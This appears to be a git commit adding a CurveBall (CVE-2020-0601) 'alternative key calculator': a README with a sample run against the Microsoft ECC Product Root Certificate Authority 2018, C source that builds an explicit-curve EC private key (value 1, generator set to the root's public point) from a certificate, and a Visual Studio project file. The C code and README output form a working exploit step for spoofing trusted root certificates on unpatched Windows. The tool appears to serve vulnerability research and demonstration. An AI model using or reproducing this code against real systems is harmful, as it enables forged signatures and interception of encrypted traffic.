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gentilkiwi · Jan 20, 2020 · 3cdd533 · 3cdd533
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diff --git a/README.md b/README.md
@@ -1,2 +1,83 @@
 # curveball
 CVE-2020-0601 #curveball - Alternative Key Calculator
+
+## Usage
+
+Usage: `altkey ec_public_certificate.pem [ec_new_privatekey.pem]`
+
+## Example
+
+```
+C:\security\curveball\Release>altkey ..\public\CACA93B9D23D2B6FA76E8B8471931E0DF3EC6F63AF3CDBB936C41954A1872326.crt myprivate.key
+Certificate:
+    Data:
+        Serial Number:
+            14:98:26:66:dc:7c:cd:8f:40:53:67:7b:b9:99:ec:85
+        Issuer: C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft ECC Product Root Certificate Authority 2018
+        Validity
+            Not Before: Feb 27 20:42:08 2018 GMT
+            Not After : Feb 27 20:50:46 2043 GMT
+        Subject: C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft ECC Product Root Certificate Authority 2018
+        Subject Public Key Info:
+            Public Key Algorithm: id-ecPublicKey
+                Public-Key: (384 bit)
+                pub:
+                    04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
+                    ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
+                    ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
+                    b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
+                    19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
+                    27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
+                    7a:7d:a6:f4:01:07:ac
+                ASN1 OID: secp384r1
+                NIST CURVE: P-384
+Private-Key set to 1
+Private-Key: (384 bit)
+priv:
+    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
+    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
+    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
+    00:00:01
+pub:
+    04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
+    ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
+    ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
+    b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
+    19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
+    27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
+    7a:7d:a6:f4:01:07:ac
+Field Type: prime-field
+Prime:
+    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
+    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
+    ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
+    ff:ff:ff:ff
+A:
+    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
+    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
+    ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
+    ff:ff:ff:fc
+B:
+    00:b3:31:2f:a7:e2:3e:e7:e4:98:8e:05:6b:e3:f8:
+    2d:19:18:1d:9c:6e:fe:81:41:12:03:14:08:8f:50:
+    13:87:5a:c6:56:39:8d:8a:2e:d1:9d:2a:85:c8:ed:
+    d3:ec:2a:ef
+Generator (uncompressed):
+    04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
+    ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
+    ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
+    b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
+    19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
+    27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
+    7a:7d:a6:f4:01:07:ac
+Order:
+    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
+    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:c7:63:4d:81:f4:
+    37:2d:df:58:1a:0d:b2:48:b0:a7:7a:ec:ec:19:6a:
+    cc:c5:29:73
+Cofactor:  1 (0x1)
+Seed:
+    a3:35:92:6a:a3:19:a2:7a:1d:00:89:6a:67:73:a4:
+    82:7a:cd:ac:73
+Private-Key saved to: myprivate.key
+```
diff --git a/altkey/altkey.c b/altkey/altkey.c
@@ -0,0 +1,109 @@
+/*	Benjamin DELPY `gentilkiwi`
+	http://blog.gentilkiwi.com
+	benjamin@gentilkiwi.com
+	Licence : https://creativecommons.org/licenses/by/4.0/
+	This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/)
+*/
+#include <openssl/x509.h>
+#include <openssl/pem.h>
+#include <openssl/err.h>
+
+int main(int argc, char *argv[]);
+void error(BIO *bOut, const char *src);
+EC_GROUP *EC_KEY_get_group_public_point(BIO *bOut, const EC_KEY *p);
+
+int main(int argc, char *argv[])
+{
+	BIO *bCert, *bKey, *bOut;
+	X509 *xCert;
+	EVP_PKEY *publicKey;
+	EC_KEY *ecPublicKey;
+	EC_GROUP *ecGroup;
+	char *keyFilename = (argc > 2) ? argv[2] : "ec_new_privatekey.pem";
+
+	if(bOut = BIO_new_fp(stdout, BIO_NOCLOSE))
+	{
+		if(argc > 1)
+		{
+			if(bCert = BIO_new(BIO_s_file()))
+			{
+				if(BIO_read_filename(bCert, argv[1]))
+				{
+					if(xCert = PEM_read_bio_X509(bCert, NULL, 0, NULL))
+					{
+						X509_print_ex(bOut, xCert, 0, X509_FLAG_NO_VERSION | X509_FLAG_NO_SIGNAME | X509_FLAG_NO_EXTENSIONS | X509_FLAG_NO_SIGDUMP | X509_FLAG_NO_EXTENSIONS | X509_FLAG_NO_AUX | X509_FLAG_NO_ATTRIBUTES | X509_FLAG_NO_IDS);
+						if(publicKey = X509_get0_pubkey(xCert))
+						{
+							if(EVP_PKEY_id(publicKey) == EVP_PKEY_EC)
+							{
+								if(ecPublicKey = EVP_PKEY_get0_EC_KEY(publicKey))
+								{
+									if(ecGroup = EC_KEY_get_group_public_point(bOut, ecPublicKey))
+									{
+										if(EC_KEY_set_group(ecPublicKey, ecGroup))
+										{
+											if(EC_KEY_set_private_key(ecPublicKey, BN_value_one()))
+											{
+												BIO_printf(bOut, "Private-Key set to 1\n");
+												EC_KEY_print(bOut, ecPublicKey, 0);
+												if(bKey = BIO_new(BIO_s_file()))
+												{
+													if(BIO_write_filename(bKey, keyFilename))
+													{
+														if(PEM_write_bio_ECPrivateKey(bKey, ecPublicKey, NULL, NULL, 0, NULL, NULL))
+															BIO_printf(bOut, "Private-Key saved to: %s\n", keyFilename);
+														else error(bOut, "PEM_write_bio_ECPrivateKey");
+													}
+													else error(bOut, "BIO_write_filename");
+													BIO_free(bKey);
+												}
+												else error(bOut, "BIO_new(BIO_s_file()) - bKey");
+											}
+											else error(bOut, "EC_KEY_set_private_key");
+										}
+										else error(bOut, "EC_KEY_set_group");
+										EC_GROUP_free(ecGroup);
+									}
+								}
+								else error(bOut, "EVP_PKEY_get0_EC_KEY");
+							}
+							else BIO_printf(bOut, "PublicKey is not EC\n");
+						}
+						else error(bOut, "X509_get0_pubkey");
+						X509_free(xCert);
+					}
+					else error(bOut, "PEM_read_bio_X509");
+					BIO_free(bCert);
+				}
+				else error(bOut, "BIO_read_filename");
+			}
+			else error(bOut, "BIO_new(BIO_s_file()) - bCert");
+		}
+		else BIO_printf(bOut, "%s ec_public_certificate.pem [ec_new_privatekey.pem]\n", argv[0]);
+		BIO_free(bOut);
+	}
+	return 0;
+}
+
+void error(BIO *bOut, const char *src)
+{
+	BIO_printf(bOut, "[ERROR - %s]\n", src);
+	ERR_print_errors(bOut);
+}
+
+EC_GROUP *EC_KEY_get_group_public_point(BIO *bOut, const EC_KEY *p)
+{
+	EC_GROUP *ecGroup = NULL;
+	if(ecGroup = EC_GROUP_dup(EC_KEY_get0_group(p)))
+	{
+		EC_GROUP_set_asn1_flag(ecGroup, OPENSSL_EC_EXPLICIT_CURVE);
+		if(!EC_GROUP_set_generator(ecGroup, EC_KEY_get0_public_key(p), EC_GROUP_get0_order(EC_KEY_get0_group(p)), EC_GROUP_get0_cofactor(EC_KEY_get0_group(p))))
+		{
+			error(bOut, "EC_GROUP_set_generator");
+			EC_GROUP_free(ecGroup);
+			ecGroup = NULL;
+		}
+	}
+	else error(bOut, "EC_GROUP_dup");
+	return ecGroup;
+}
diff --git a/altkey/altkey.vcxproj b/altkey/altkey.vcxproj
@@ -0,0 +1,175 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{4521E166-934F-453E-AF5A-6F202AFC64AE}</ProjectGuid>
+    <RootNamespace>altkey</RootNamespace>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v110_xp</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>NotSet</CharacterSet>
+    <UseOfMfc>Static</UseOfMfc>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <IncludePath>$(ProjectDir)include;$(IncludePath)</IncludePath>
+    <LibraryPath>$(ProjectDir)lib;$(LibraryPath)</LibraryPath>
+    <GenerateManifest>false</GenerateManifest>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Full</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <AdditionalIncludeDirectories>
+      </AdditionalIncludeDirectories>
+      <DebugInformationFormat>None</DebugInformationFormat>
+      <InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
+      <PreprocessorDefinitions />
+      <ErrorReporting>None</ErrorReporting>
+    </ClCompile>
+    <Link>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <AdditionalDependencies>advapi32.lib;crypt32.lib;ws2_32.lib;libcrypto32MD.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
+      <LinkErrorReporting>NoErrorReport</LinkErrorReporting>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="altkey.c" />
+    <ClCompile Include="include\openssl\applink.c" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="include\openssl\aes.h" />
+    <ClInclude Include="include\openssl\asn1.h" />
+    <ClInclude Include="include\openssl\asn1err.h" />
+    <ClInclude Include="include\openssl\asn1t.h" />
+    <ClInclude Include="include\openssl\asn1_mac.h" />
+    <ClInclude Include="include\openssl\async.h" />
+    <ClInclude Include="include\openssl\asyncerr.h" />
+    <ClInclude Include="include\openssl\bio.h" />
+    <ClInclude Include="include\openssl\bioerr.h" />
+    <ClInclude Include="include\openssl\blowfish.h" />
+    <ClInclude Include="include\openssl\bn.h" />
+    <ClInclude Include="include\openssl\bnerr.h" />
+    <ClInclude Include="include\openssl\buffer.h" />
+    <ClInclude Include="include\openssl\buffererr.h" />
+    <ClInclude Include="include\openssl\camellia.h" />
+    <ClInclude Include="include\openssl\cast.h" />
+    <ClInclude Include="include\openssl\cmac.h" />
+    <ClInclude Include="include\openssl\cms.h" />
+    <ClInclude Include="include\openssl\cmserr.h" />
+    <ClInclude Include="include\openssl\comp.h" />
+    <ClInclude Include="include\openssl\comperr.h" />
+    <ClInclude Include="include\openssl\conf.h" />
+    <ClInclude Include="include\openssl\conferr.h" />
+    <ClInclude Include="include\openssl\conf_api.h" />
+    <ClInclude Include="include\openssl\crypto.h" />
+    <ClInclude Include="include\openssl\cryptoerr.h" />
+    <ClInclude Include="include\openssl\ct.h" />
+    <ClInclude Include="include\openssl\cterr.h" />
+    <ClInclude Include="include\openssl\des.h" />
+    <ClInclude Include="include\openssl\dh.h" />
+    <ClInclude Include="include\openssl\dherr.h" />
+    <ClInclude Include="include\openssl\dsa.h" />
+    <ClInclude Include="include\openssl\dsaerr.h" />
+    <ClInclude Include="include\openssl\dtls1.h" />
+    <ClInclude Include="include\openssl\ebcdic.h" />
+    <ClInclude Include="include\openssl\ec.h" />
+    <ClInclude Include="include\openssl\ecdh.h" />
+    <ClInclude Include="include\openssl\ecdsa.h" />
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+    <ClInclude Include="include\openssl\engine.h" />
+    <ClInclude Include="include\openssl\engineerr.h" />
+    <ClInclude Include="include\openssl\err.h" />
+    <ClInclude Include="include\openssl\evp.h" />
+    <ClInclude Include="include\openssl\evperr.h" />
+    <ClInclude Include="include\openssl\e_os2.h" />
+    <ClInclude Include="include\openssl\hmac.h" />
+    <ClInclude Include="include\openssl\idea.h" />
+    <ClInclude Include="include\openssl\kdf.h" />
+    <ClInclude Include="include\openssl\kdferr.h" />
+    <ClInclude Include="include\openssl\lhash.h" />
+    <ClInclude Include="include\openssl\md2.h" />
+    <ClInclude Include="include\openssl\md4.h" />
+    <ClInclude Include="include\openssl\md5.h" />
+    <ClInclude Include="include\openssl\mdc2.h" />
+    <ClInclude Include="include\openssl\modes.h" />
+    <ClInclude Include="include\openssl\objects.h" />
+    <ClInclude Include="include\openssl\objectserr.h" />
+    <ClInclude Include="include\openssl\obj_mac.h" />
+    <ClInclude Include="include\openssl\ocsp.h" />
+    <ClInclude Include="include\openssl\ocsperr.h" />
+    <ClInclude Include="include\openssl\opensslconf.h" />
+    <ClInclude Include="include\openssl\opensslv.h" />
+    <ClInclude Include="include\openssl\ossl_typ.h" />
+    <ClInclude Include="include\openssl\pem.h" />
+    <ClInclude Include="include\openssl\pem2.h" />
+    <ClInclude Include="include\openssl\pemerr.h" />
+    <ClInclude Include="include\openssl\pkcs12.h" />
+    <ClInclude Include="include\openssl\pkcs12err.h" />
+    <ClInclude Include="include\openssl\pkcs7.h" />
+    <ClInclude Include="include\openssl\pkcs7err.h" />
+    <ClInclude Include="include\openssl\rand.h" />
+    <ClInclude Include="include\openssl\randerr.h" />
+    <ClInclude Include="include\openssl\rand_drbg.h" />
+    <ClInclude Include="include\openssl\rc2.h" />
+    <ClInclude Include="include\openssl\rc4.h" />
+    <ClInclude Include="include\openssl\rc5.h" />
+    <ClInclude Include="include\openssl\ripemd.h" />
+    <ClInclude Include="include\openssl\rsa.h" />
+    <ClInclude Include="include\openssl\rsaerr.h" />
+    <ClInclude Include="include\openssl\safestack.h" />
+    <ClInclude Include="include\openssl\seed.h" />
+    <ClInclude Include="include\openssl\sha.h" />
+    <ClInclude Include="include\openssl\srp.h" />
+    <ClInclude Include="include\openssl\srtp.h" />
+    <ClInclude Include="include\openssl\ssl.h" />
+    <ClInclude Include="include\openssl\ssl2.h" />
+    <ClInclude Include="include\openssl\ssl3.h" />
+    <ClInclude Include="include\openssl\sslerr.h" />
+    <ClInclude Include="include\openssl\stack.h" />
+    <ClInclude Include="include\openssl\store.h" />
+    <ClInclude Include="include\openssl\storeerr.h" />
+    <ClInclude Include="include\openssl\symhacks.h" />
+    <ClInclude Include="include\openssl\tls1.h" />
+    <ClInclude Include="include\openssl\ts.h" />
+    <ClInclude Include="include\openssl\tserr.h" />
+    <ClInclude Include="include\openssl\txt_db.h" />
+    <ClInclude Include="include\openssl\ui.h" />
+    <ClInclude Include="include\openssl\uierr.h" />
+    <ClInclude Include="include\openssl\whrlpool.h" />
+    <ClInclude Include="include\openssl\x509.h" />
+    <ClInclude Include="include\openssl\x509err.h" />
+    <ClInclude Include="include\openssl\x509v3.h" />
+    <ClInclude Include="include\openssl\x509v3err.h" />
+    <ClInclude Include="include\openssl\x509_vfy.h" />
+    <ClInclude Include="include\openssl\__DECC_INCLUDE_EPILOGUE.H" />
+    <ClInclude Include="include\openssl\__DECC_INCLUDE_PROLOGUE.H" />
+  </ItemGroup>
+  <ItemGroup>
+    <Library Include="lib\libcrypto32MD.lib" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>